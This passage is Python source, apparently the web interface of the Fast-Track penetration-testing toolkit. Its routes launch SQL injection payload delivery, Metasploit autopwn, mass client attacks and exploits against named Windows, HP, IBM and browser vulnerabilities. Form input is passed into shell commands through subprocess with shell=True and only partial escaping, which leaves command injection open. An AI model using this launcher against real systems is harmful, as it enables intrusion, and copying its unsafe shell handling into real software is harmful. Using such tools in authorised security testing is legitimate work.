for line in wordlistbrute:
self.wfile.write(line)
load_footer(self)
# Binary Convert: Convert binarys to a pasteable format to a windows shell to compile it..used as a PAYLOAD delivery method
if self.path == "/binaryconvert":
load_header(self)
load_nav(self)
binaryconvert=file("bin/web/html/binaryconvert","r").readlines()
for line in binaryconvert:
self.wfile.write(line)
load_footer(self)
# Changelog: Fast-Track updates, uses CHANGELOG under readme to generate the info dynamically
if self.path == "/changelog":
load_header(self)
load_nav(self)
changelog=file("bin/web/html/changelog","r").readlines()
for line in changelog:
self.wfile.write(line)
match2=re.search('<div style="overflow:scroll;', line)
if match2:
menuopen=file("readme/CHANGELOG","r").readlines()
for line in menuopen:
self.wfile.write('<p class="box_text">'+line+"</p>")
load_footer(self)
# Tutorials for Fast-Track, generate the info dynamically
if self.path == "/tutorials":
load_header(self)
load_nav(self)
tutorials=file("bin/web/html/tutorials","r").readlines()
for line in tutorials:
self.wfile.write(line)
load_footer(self)
# Credits for Fast-Track, generate the info dynamically
if self.path == "/credits":
load_header(self)
load_nav(self)
tutorials=file("bin/web/html/credits","r").readlines()
for line in tutorials:
self.wfile.write(line)
load_footer(self)
# SQL Injector Main: Find an injectable parameter and this trys to exploit it: Main Menu
if self.path == "/sqlinjector":
load_header(self)
load_nav(self)
sqlinjectormain=file("bin/web/html/sqlinjector","r").readlines()
for line in sqlinjectormain:
self.wfile.write(line)
load_footer(self)
# SQL Injector Binary Payload: Use binary to hex conversions to deliver our payload through SQL Injection
if self.path == "/binarypayload":
load_header(self)
load_nav(self)
binarypayload=file("bin/web/html/binarypayload","r").readlines()
for line in binarypayload:
self.wfile.write(line)
load_footer(self)
# SQL Injector FTP Payload: Use FTP as a median for transfer, delivers a netcat payload
if self.path == "/ftppayload":
load_header(self)
load_nav(self)
ftppayload=file("bin/web/html/ftppayload","r").readlines()
for line in ftppayload:
self.wfile.write(line)
load_footer(self)
# SQL Injector POST Binary Payload:
if self.path == "/postpayload":
load_header(self)
load_nav(self)
postpayload=file("bin/web/html/postpayload","r").readlines()
for line in postpayload:
self.wfile.write(line)
load_footer(self)
# SQL Injector Manual Payload: Setup everything manual for you, i.e nc listening on port x and ip of x
if self.path == "/manualpayload":
load_header(self)
load_nav(self)
manualpayload=file("bin/web/html/manualpayload","r").readlines()
for line in manualpayload:
self.wfile.write(line)
load_footer(self)
if self.path == "/massclient":
load_header(self)
load_nav(self)
massclient=file("bin/web/html/massclient","r").readlines()
for line in massclient:
self.wfile.write(line)
load_footer(self)
# Payload Generator
if self.path == "/payloadgen":
load_header(self)
load_nav(self)
payloadgen=file("bin/web/html/payloadgen","r").readlines()
for line in payloadgen:
self.wfile.write(line)
load_footer(self)
# Exploits Main
if self.path == "/exploits":
load_header(self)
load_nav(self)
exploitsmain=file("bin/web/html/exploits","r").readlines()
for line in exploitsmain:
self.wfile.write(line)
load_footer(self)
# HP OpenView CGI Exploit
if self.path == "/openviewcgi":
load_header(self)
load_nav(self)
openviewcgi=file("bin/web/html/openviewcgi","r").readlines()
for line in openviewcgi:
self.wfile.write(line)
load_footer(self)
# IBM Tivoli Exploit
if self.path == "/ibmtivoli":
load_header(self)
load_nav(self)
ibmtivoli=file("bin/web/html/ibmtivoli","r").readlines()
for line in ibmtivoli:
self.wfile.write(line)
load_footer(self)
# HP OpenView NNM Exploit
if self.path == "/openviewnnm":
load_header(self)
load_nav(self)
openviewnnm=file("bin/web/html/openviewnnm","r").readlines()
for line in openviewnnm:
self.wfile.write(line)
load_footer(self)
# Quicktime RTSP
if self.path == "/quicktime":
load_header(self)
load_nav(self)
ibmtivoli=file("bin/web/html/quicktime","r").readlines()
for line in ibmtivoli:
self.wfile.write(line)
load_footer(self)
# Goodtech
if self.path == "/goodtech":
load_header(self)
load_nav(self)
goodtech=file("bin/web/html/goodtech","r").readlines()
for line in goodtech:
self.wfile.write(line)
load_footer(self)
# \MS08-067
if self.path == "/ms08067":
load_header(self)
load_nav(self)
ms08067=file("bin/web/html/ms08067","r").readlines()
for line in ms08067:
self.wfile.write(line)
load_footer(self)
# \MS09-002
if self.path == "/ms09002":
load_header(self)
load_nav(self)
ms09002=file("bin/web/html/ms09002","r").readlines()
for line in ms09002:
self.wfile.write(line)
load_footer(self)
# MIRC
if self.path == "/mirc":
load_header(self)
load_nav(self)
mirc=file("bin/web/html/mirc","r").readlines()
for line in mirc:
self.wfile.write(line)
load_footer(self)
# TFTP
if self.path == "/tftp":
load_header(self)
load_nav(self)
tftp=file("bin/web/html/tftp","r").readlines()
for line in tftp:
self.wfile.write(line)
load_footer(self)
# IE XML Corruption
if self.path == "/xmlcorruptionbo":
load_header(self)
load_nav(self)
xml=file("bin/web/html/xmlcorruptionbo","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
# MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray
if self.path == "/directshowheap":
load_header(self)
load_nav(self)
xml=file("bin/web/html/directshowheap","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
# FireFox 3.5 Heap Spray
if self.path == "/firefox35":
load_header(self)
load_nav(self)
xml=file("bin/web/html/firefox35","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
# SQLPwnage Main Menu
if self.path == "/sqlpwnage":
load_header(self)
load_nav(self)
sqlpwnagemain=file("bin/web/html/sqlpwnage","r").readlines()
for line in sqlpwnagemain:
self.wfile.write(line)
load_footer(self)
# SQLPwnage Blind Menu
if self.path == "/sqlpwnageblind":
load_header(self)
load_nav(self)
sqlpwnagemain=file("bin/web/html/sqlpwnageblind","r").readlines()
for line in sqlpwnagemain:
self.wfile.write(line)
load_footer(self)
# SQLPwnage Blind POST Menu
#if self.path == "/sqlpwnageblindpost":
# sqlpwnagemain=file("bin/web/html/sqlpwnageblindpost.html","r").readlines()
# for line in sqlpwnagemain:
# self.wfile.write(line)
# match=re.search('<ul id="navlist" title="menu">', line)
# if match:
# menuopen=file("bin/web/html/menu.html","r").readlines()
# for line in menuopen:
# self.wfile.write(line)
# SQLPwnage Error Menu
if self.path == "/sqlpwnageerror":
load_header(self)
load_nav(self)
sqlpwnagemain=file("bin/web/html/sqlpwnageerror","r").readlines()
for line in sqlpwnagemain:
self.wfile.write(line)
load_footer(self)
# Close any html body tags
self.wfile.write("</html></body>")
# Start POST
def do_POST(self):
###################### START UPDATE EVERYTHING SECTION ##############################
if self.path == "/updatepost":
load_header(self)
load_nav(self)
updatepost=file("bin/web/html/finished","r").readlines()
for line in updatepost:
self.wfile.write(line)
load_footer(self)
try:
update=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Auto-Update" -e "python %s/fast-track.py -c 1 2" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END UPDATE EVERYTHING SECTION ##############################
###################### START UPDATE FT ONLY SECTION ##############################
if self.path == "/updateftpost":
load_header(self)
load_nav(self)
updatepost=file("bin/web/html/finished","r").readlines()
for line in updatepost:
self.wfile.write(line)
load_footer(self)
try:
update=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Auto-Update" -e "python %s/fast-track.py -c 1 1" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END UPDATE FT ONLY SECTION ##############################
###################### START AUTOPWN SECTION ##############################
if self.path == "/autopwnpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("+"," ")
ipaddr=ipaddr.replace("%2C",",")
ipaddr=ipaddr.replace("%2F","/")
option1=raw_post_data[3].rstrip()
load_header(self)
load_nav(self)
autopwn=file("bin/web/html/finished","r").readlines()
for line in autopwn:
self.wfile.write(line)
load_footer(self)
try:
metapwn=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Autopwn Automated" -e "python %s/fast-track.py -c 2 \'%s\' %s" 2> /dev/null""" % (definepath,ipaddr,option1), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END AUTOPWN SECTION ##############################
###################### START METASPLOIT UPDATE SECTION ##############################
if self.path == "/metaupdatepost":
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
metaupdatepost=file("bin/web/html/finished","r").readlines()
for line in metaupdatepost:
self.wfile.write(line)
load_footer(self)
try:
metaupdate=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Autopwn Automated" -e "python %s/bin/ftsrc/updatemeta.py" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END METASPLOIT UPDATE SECTION ##############################
###################### START SQL QUICK BRUTE ##############################
if self.path == "/quickbrutepost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("%2F","/")
payload=raw_post_data[3].rstrip()
username=raw_post_data[5].rstrip()
load_header(self)
load_nav(self)
quickbrute=file("bin/web/html/finished","r").readlines()
for line in quickbrute:
self.wfile.write(line)
load_footer(self)
try:
quickbrute=subprocess.Popen(r"""xterm -geometry 80x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Quick Brute" -e "python %s/fast-track.py -c 4 1 %s %s %s" """ % (definepath,ipaddr,username,payload), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END SQL QUICK BRUTE ##############################
###################### START SQL WORDLIST BRUTE ##############################
if self.path == "/wordlistbrutepost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
# print raw_post_data
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
payload=raw_post_data[3].rstrip()
username=raw_post_data[5].rstrip()
wordlist=raw_post_data[7].rstrip()
wordlist=wordlist.replace("%2F","/")
ipaddr=ipaddr.replace("%2F", "/")
load_header(self)
load_nav(self)
wordlistbrute=file("bin/web/html/finished","r").readlines()
for line in wordlistbrute:
self.wfile.write(line)
load_footer(self)
try:
wordlist=subprocess.Popen(r'''xterm -geometry 80x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Wordlist Brute" -e "python %s/fast-track.py -c 4 2 %s %s %s %s"''' % (definepath,ipaddr,username,wordlist,payload), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END SQL WORDLIST BRUTE ##############################
###################### START BINARYCONVERT ##############################
if self.path == "/binaryconvertpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
print raw_post_data
binpath=raw_post_data[1].rstrip()
binpath=binpath.replace("%2F","/")
binaryconvertpost=file("bin/web/html/finished","r").readlines()
load_header(self)
load_nav(self)
for line in binaryconvertpost:
self.wfile.write(line)
load_footer(self)
try:
binconvert=subprocess.Popen("""python %s/fast-track.py -c 5 %s""" % (definepath,binpath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END BINARYCONVERT ##############################
###################### START SQL INJECTOR BINARY PAYLOAD ##############################
if self.path == "/binarypayloadpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
load_header(self)
load_nav(self)
binarypayload=file("bin/web/html/finished","r").readlines()
for line in binarypayload:
self.wfile.write(line)
load_footer(self)
try:
binarypayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 1 %s" 2> /dev/null''' % (definepath,url), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception:
pass
###################### END SQL INJECTOR BINARY PAYLOAD ##############################
###################### START SQL INJECTOR FTP PAYLOAD ##############################
if self.path == "/ftppayloadpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
load_header(self)
load_nav(self)
ftppayloadpost=file("bin/web/html/finished","r").readlines()
for line in ftppayloadpost:
self.wfile.write(line)
load_footer(self)
try:
ftppayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 2 %s" 2> /dev/null'''% (definepath,url), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception:
pass
###################### END SQL INJECTOR FTP PAYLOAD ##############################
###################### START SQL INJECTOR MANUAL PAYLOAD ##############################
if self.path == "/manualpayloadpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
ipaddr=raw_post_data[3].rstrip()
portnum=raw_post_data[5].rstrip()
load_header(self)
load_nav(self)
manualpayloadpost=file("bin/web/html/finished","r").readlines()
for line in manualpayloadpost:
self.wfile.write(line)
load_footer(self)
try:
manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 3 %s %s %s" 2> /dev/null''' % (definepath,url,ipaddr,portnum), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception:
pass
###################### END SQL INJECTOR MANUAL PAYLOAD ##############################
###################### START SQL INJECTOR BINARY PAYLOAD POST ##############################
if self.path == "/postpayloadpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
load_header(self)
load_nav(self)
postpayload=file("bin/web/html/finished","r").readlines()
for line in postpayload:
self.wfile.write(line)
load_footer(self)
try:
ftppayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 4 %s" 2> /dev/null'''% (definepath,url), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception:
pass
###################### END SQL INJECTOR BINARY PAYLOAD POST ##############################
###################### START METASPLOIT CLIENT ATTACK ##############################
if self.path == "/massclientpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
choice=raw_post_data[3].rstrip()
try:
etterchoice=raw_post_data[5].rstrip()
except Exception,e:
print e
etterchoice=0
try:
ettercap=raw_post_data[7].rstrip()
except Exception: ettercap=0
load_header(self)
load_nav(self)
massclientpost=file("bin/web/html/finished","r").readlines()
for line in massclientpost:
self.wfile.write(line)
load_footer(self)
print choice
try:
massclient=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Mass Client Attack" -e "python %s/fast-track.py -c 6 %s %s %s %s" 2> /dev/null""" % (definepath,ipaddr,choice,etterchoice,ettercap), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END METASPLOIT CLIENT ATTACK ##############################
###################### START EXPLOITS OPENVIEWCGI ##############################
if self.path == "/openviewcgipost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("+"," ")
load_header(self)
load_nav(self)
openviewcgi=file("bin/web/html/finished","r").readlines()
for line in openviewcgi:
self.wfile.write(line)
load_footer(self)
try:
openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track HP OpenView CGI Exploit" -e "python %s/fast-track.py -c 7 1 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS OPENVIEWCGI ##############################
###################### START EXPLOITS IBMTIVOLI ##############################
if self.path == "/ibmtivolipost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
try:
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("+"," ")
except IndexError: pass
load_header(self)
load_nav(self)
ibmtivoli=file("bin/web/html/finished","r").readlines()
for line in ibmtivoli:
self.wfile.write(line)
load_footer(self)
try:
openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track IBM Tivoli Exploit" -e "python %s/fast-track.py -c 7 2 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS IBMTIVOLI ##############################
###################### START EXPLOITS OPENVIEWNNM ##############################
if self.path == "/openviewnnmpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
ipaddr=raw_post_data[1].rstrip()
ipaddr=ipaddr.replace("+"," ")
load_header(self)
load_nav(self)
openviewnnm=file("bin/web/html/finished","r").readlines()
for line in openviewnnm:
self.wfile.write(line)
load_footer(self)
try:
openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track HP OpenView NNM Exploit" -e "python %s/fast-track.py -c 7 2 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS OPENVIEWNNM ##############################
###################### START EXPLOITS QUICKTIME ##############################
if self.path == "/quicktimepost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
quicktime=file("bin/web/html/finished","r").readlines()
load_header(self)
load_nav(self)
for line in quicktime:
self.wfile.write(line)
load_footer(self)
try:
quicktime=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track RTSP 7.3 SEH Exploit" -e "python %s/fast-track.py -c 7 4" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS QUICKTIME ##############################
###################### START EXPLOITS GOODTECH ##############################
if self.path == "/goodtechpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
goodtech=file("bin/web/html/finished","r").readlines()
for line in goodtech:
self.wfile.write(line)
load_footer(self)
try:
goodtech=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Goodtech 6.4 Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 5" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS GOODTECH ##############################
###################### START EXPLOITS MS08067 ##############################
if self.path == "/ms08067post":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
ms08067=file("bin/web/html/finished","r").readlines()
for line in ms08067:
self.wfile.write(line)
load_footer(self)
try:
ms08067=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track MS08-067 Server Service Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 6" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS MS08067 ##############################
###################### START EXPLOITS MS09002 ##############################
if self.path == "/ms09002post":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
ms09002=file("bin/web/html/finished","r").readlines()
for line in ms09002:
self.wfile.write(line)
load_footer(self)
try:
ms09002=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track MS IE 7 Memory Corruption (MS09-002)" -e "python %s/fast-track.py -c 7 10" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS MS09002 ##############################
###################### START EXPLOITS MIRC ##############################
if self.path == "/mircpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
mirc=file("bin/web/html/finished","r").readlines()
for line in mirc:
self.wfile.write(line)
load_footer(self)
try:
mirc=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track mIRC 6.34 Remote Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 7" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS MIRC ##############################
###################### START EXPLOITS TFTP ##############################
if self.path == "/tftppost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
tftp=file("bin/web/html/finished","r").readlines()
for line in tftp:
self.wfile.write(line)
load_footer(self)
try:
tftp=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track TFTP Server Windows V1.4 ST Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 8" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS TFTP ##############################
###################### START EXPLOITS XML ##############################
if self.path == "/xmlcorruptionbopost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
xml=file("bin/web/html/finished","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
try:
xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track IE XML Corruption Heap Spray" -e "python %s/fast-track.py -c 7 9" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS XML ##############################
###################### START EXPLOITS DIRECTSHOW ##############################
if self.path == "/directshowheappost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
xml=file("bin/web/html/finished","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
try:
xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track DirectShow Heap Spray" -e "python %s/fast-track.py -c 7 11" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS DIRECTSHOW ##############################
###################### START EXPLOITS FireFox 3.5 ##############################
if self.path == "/firefox35post":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
load_header(self)
load_nav(self)
xml=file("bin/web/html/finished","r").readlines()
for line in xml:
self.wfile.write(line)
load_footer(self)
try:
xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track FireFox 3.5 Heap Spray" -e "python %s/fast-track.py -c 7 12" 2> /dev/null""" % (definepath), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
###################### END EXPLOITS FireFox 3.5 ##############################
###################### START SQLPWNAGE BLIND ##############################
if self.path == "/sqlpwnageblindpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
url=url.replace("%3A",":")
url=url.replace("%2F","/")
url=url.replace("%3F","?")
url=url.replace("%3D","=")
url=url.replace("%27","'")
url=url.replace("%26","&")
# Used to escape the ' and & in shell
url=url.replace("'","\\'")
url=url.replace("&","\\&")
ipaddr=raw_post_data[3].rstrip()
payload=raw_post_data[5].rstrip()
portnum=raw_post_data[7].rstrip()
load_header(self)
load_nav(self)
manualpayloadpost=file("bin/web/html/finished","r").readlines()
for line in manualpayloadpost:
self.wfile.write(line)
load_footer(self)
try:
manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage Blind" -e "python %s/fast-track.py -c 8 1 %s %s %s %s"''' % (definepath,url,ipaddr,payload,portnum), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception,e:
print e
pass
###################### END SQLPWNAGE BLIND ##############################
###################### START SQLPWNAGE Error ##############################
if self.path == "/sqlpwnageerrorpost":
content_length = string.atoi(self.headers.dict["content-length"])
raw_post_data = self.rfile.read(content_length)
raw_post_data=re.split('=|&',raw_post_data)
self.send_response(200)
self.end_headers()
url=raw_post_data[1].rstrip()
ipaddr=raw_post_data[3].rstrip()
ipaddr=ipaddr.replace("%3A",":")
ipaddr=ipaddr.replace("%2F","/")
ipaddr=ipaddr.replace("%3F","?")
ipaddr=ipaddr.replace("%3D","=")
ipaddr=ipaddr.replace("%27","'")
ipaddr=ipaddr.replace("%26","&")
# Used to escape the ' and & in shell
ipaddr=ipaddr.replace("'","\\'")
ipaddr=ipaddr.replace("&","\\&")
payload=raw_post_data[5].rstrip()
portnum=raw_post_data[7].rstrip()
load_header(self)
load_nav(self)
manualpayloadpost=file("bin/web/html/finished","r").readlines()
for line in manualpayloadpost:
self.wfile.write(line)
load_footer(self)
try:
manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage Blind" -e "python %s/fast-track.py -c 8 2 %s %s %s %s"''' % (definepath,url,ipaddr,payload,portnum), shell=True)
except OSError:
print "Exiting Fast-Track Web GUI.."
print "\nType <control>-c again to exit Fast-Track Web Gui.."
except Exception,e:
print e
pass
###################### END SQLPWNAGE Error ##############################
